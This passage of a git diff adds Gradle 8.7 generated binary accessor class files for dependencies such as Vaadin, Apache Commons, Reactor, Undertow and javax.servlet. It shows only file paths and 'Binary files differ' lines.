a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVaadinLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVaadinLibraryAccessors.class new file mode 100644 index 0000000..289780f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVaadinLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVaadinVaadinLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVaadinVaadinLibraryAccessors.class new file mode 100644 index 0000000..ea9014f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVaadinVaadinLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVaadinVaadinVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVaadinVaadinVersionAccessors.class new file mode 100644 index 0000000..4849694 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVaadinVaadinVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVaadinVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVaadinVersionAccessors.class new file mode 100644 index 0000000..0d0ee92 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVaadinVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVersionAccessors.class new file mode 100644 index 0000000..b7d5aa8 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsBeanutilsCommonsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsBeanutilsCommonsLibraryAccessors.class new file mode 100644 index 0000000..02b5978 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsBeanutilsCommonsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsBeanutilsCommonsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsBeanutilsCommonsVersionAccessors.class new file mode 100644 index 0000000..3ec7265 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsBeanutilsCommonsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsBeanutilsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsBeanutilsLibraryAccessors.class new file mode 100644 index 0000000..fbaac7e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsBeanutilsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsBeanutilsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsBeanutilsVersionAccessors.class new file mode 100644 index 0000000..561bddb Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsBeanutilsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCliCommonsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCliCommonsLibraryAccessors.class new file mode 100644 index 0000000..4ad8bdb Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCliCommonsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCliCommonsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCliCommonsVersionAccessors.class new file mode 100644 index 0000000..d6b93a9 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCliCommonsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCliLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCliLibraryAccessors.class new file mode 100644 index 0000000..ee89641 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCliLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCliVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCliVersionAccessors.class new file mode 100644 index 0000000..75c337f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCliVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCollectionsCommonsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCollectionsCommonsLibraryAccessors.class new file mode 100644 index 0000000..94d6ac7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCollectionsCommonsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCollectionsCommonsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCollectionsCommonsVersionAccessors.class new file mode 100644 index 0000000..50aa07d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCollectionsCommonsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCollectionsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCollectionsLibraryAccessors.class new file mode 100644 index 0000000..f7a5f49 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCollectionsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCollectionsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCollectionsVersionAccessors.class new file mode 100644 index 0000000..6d082f9 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsCollectionsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsLibraryAccessors.class new file mode 100644 index 0000000..2c52751 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsVersionAccessors.class new file mode 100644 index 0000000..740fa53 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$CommonsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoLibraryAccessors.class new file mode 100644 index 0000000..cf6a347 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoProjectreactorLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoProjectreactorLibraryAccessors.class new file mode 100644 index 0000000..f2de4a9 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoProjectreactorLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoProjectreactorReactorLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoProjectreactorReactorLibraryAccessors.class new file mode 100644 index 0000000..df3f33f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoProjectreactorReactorLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoProjectreactorReactorVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoProjectreactorReactorVersionAccessors.class new file mode 100644 index 0000000..c9cbde4 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoProjectreactorReactorVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoProjectreactorVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoProjectreactorVersionAccessors.class new file mode 100644 index 0000000..124aa48 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoProjectreactorVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoUndertowLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoUndertowLibraryAccessors.class new file mode 100644 index 0000000..ced33a0 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoUndertowLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoUndertowUndertowLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoUndertowUndertowLibraryAccessors.class new file mode 100644 index 0000000..1e170be Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoUndertowUndertowLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoUndertowUndertowVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoUndertowUndertowVersionAccessors.class new file mode 100644 index 0000000..e9c620a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoUndertowUndertowVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoUndertowVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoUndertowVersionAccessors.class new file mode 100644 index 0000000..b3bd8a1 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoUndertowVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoVersionAccessors.class new file mode 100644 index 0000000..ca8adc1 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$IoVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxLibraryAccessors.class new file mode 100644 index 0000000..12502dd Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaJaiJaiLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaJaiJaiLibraryAccessors.class new file mode 100644 index 0000000..2f95368 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaJaiJaiLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaJaiJaiVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaJaiJaiVersionAccessors.class new file mode 100644 index 0000000..b1c1b35 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaJaiJaiVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaJaiLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaJaiLibraryAccessors.class new file mode 100644 index 0000000..c8af0c2 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaJaiLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaJaiVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaJaiVersionAccessors.class new file mode 100644 index 0000000..b31d13f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaJaiVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaLibraryAccessors.class new file mode 100644 index 0000000..a072b48 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaVersionAccessors.class new file mode 100644 index 0000000..1a0c8fa Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxMediaVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletJavaxLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletJavaxLibraryAccessors.class new file mode 100644 index 0000000..529f3aa Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletJavaxLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletJavaxServletLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletJavaxServletLibraryAccessors.class new file mode 100644 index 0000000..f6c9e12 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletJavaxServletLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletJavaxServletVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletJavaxServletVersionAccessors.class new file mode 100644 index 0000000..ae9e8f9 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletJavaxServletVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletJavaxVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletJavaxVersionAccessors.class new file mode 100644 index 0000000..ef851aa Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletJavaxVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletLibraryAccessors.class new file mode 100644 index 0000000..dd2a483 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletVersionAccessors.class new file mode 100644 index 0000000..377a5a4 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxServletVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxVersionAccessors.class new file mode 100644 index 0000000..c822e65 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketJavaxLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketJavaxLibraryAccessors.class new file mode 100644 index 0000000..702f4f0 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketJavaxLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketJavaxVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketJavaxVersionAccessors.class new file mode 100644 index 0000000..fbd592d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketJavaxVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketJavaxWebsocketLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketJavaxWebsocketLibraryAccessors.class new file mode 100644 index 0000000..d86b7a9 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketJavaxWebsocketLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketJavaxWebsocketVersionAccessors.class 